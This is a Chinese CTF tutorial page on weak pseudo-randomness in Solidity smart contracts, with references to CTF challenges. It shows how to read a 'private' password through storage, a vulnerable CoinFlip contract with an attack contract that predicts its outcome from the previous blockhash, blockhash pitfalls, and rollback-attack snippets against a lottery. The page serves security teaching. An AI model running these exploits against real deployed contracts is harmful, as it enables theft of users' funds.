# Randomness¶

## 使用私有变量的伪随机数¶

### 例子¶

pragma solidity ^0.4.18;

contract Vault {
bool public locked;
bytes32 private password;

function Vault(bytes32 _password) public {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}


web3.eth.getStorageAt(ContractAddress, "1", function(x,y){console.info(y);})


## 使用区块变量的伪随机数¶

### 原理¶

EVM 有五个字节码可以获取当前区块的变量，包括 coinbase、timestamp、number、difficulty、gaslimit。这些变量对矿工来说，都是已知或者可操控的，因此在私有链部署的题目中，可以作为恶意的矿工控制随机数的结果。在公开的链如 Ropsten 上，这个方法就不太可行，但我们也可以编写攻击合约，在攻击合约中获取到相同的区块变量值，进一步用相同的算法得到随机数值。

### 例子¶

pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function CoinFlip() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

• 代码处理流程为：
• 获得上一块的 hash 值
• 判断与之前保存的 hash 值是否相等，相等则会退
• 根据 blockValue/FACTOR 的值判断为正或负，即通过 hash 的首位判断

pragma solidity ^0.4.18;

contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function CoinFlip() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

contract hack{
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

address instance_address = ContractAddress;
CoinFlip c = CoinFlip(instance_address);

function exploit() public {
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

c.flip(side);
}
}


### 题目¶

• 0CTF Final 2018 : ZeroLottery

## 使用 Blockhash 的伪随机数¶

### 原理¶

Blockhash 是一个特殊的区块变量，EVM 只能获取到当前区块之前的 256 个区块的 blockhash （不含当前区块），对于这 256 个之外的区块返回 0。使用 blockhash 可能存在几种问题。

1. 误用，如 block.blockhash(block.number) 恒为零。
2. 使用过去区块的有效 blockhash ，可以编写攻击合约获取相同值。
3. 将猜数字和开奖的交易分开在两个不同区块中，并且使用猜数字时还不知道的某个区块的 blockhash 作为熵源，则可以等待 256 个区块后再进行开奖，消除 blockhash 的不确定性。

### 题目¶

• Capture The Ether : Predict the block hash、Guess the new number
• 华为云安全 2020 : ethenc

## 回滚攻击¶

### 例子¶

contract ZeroLottery {
...
mapping (address => uint256) public balanceOf;
...
function bet(uint guess) public payable {
require(msg.value > 1 ether);
require(balanceOf[msg.sender] > 0);

uint n = ...;

if (guess != n) {
balanceOf[msg.sender] = 0;
// charge 0.5 ether for failure
msg.sender.transfer(msg.value - 0.5 ether);
return;
}

// charge 1 ether for success
msg.sender.transfer(msg.value - 1 ether);
balanceOf[msg.sender] = balanceOf[msg.sender] + 100;
}
...
}


function guess() public {
task.bet.value(2 ether)(1);
}
function () public payable {
require(msg.value != 1.5 ether);
}


function guess() public {
task.bet.value(2 ether)(1);
require(task.balanceOf(this));
}


### 题目¶

• 0ctf final 2018 : ZeroLottery

Note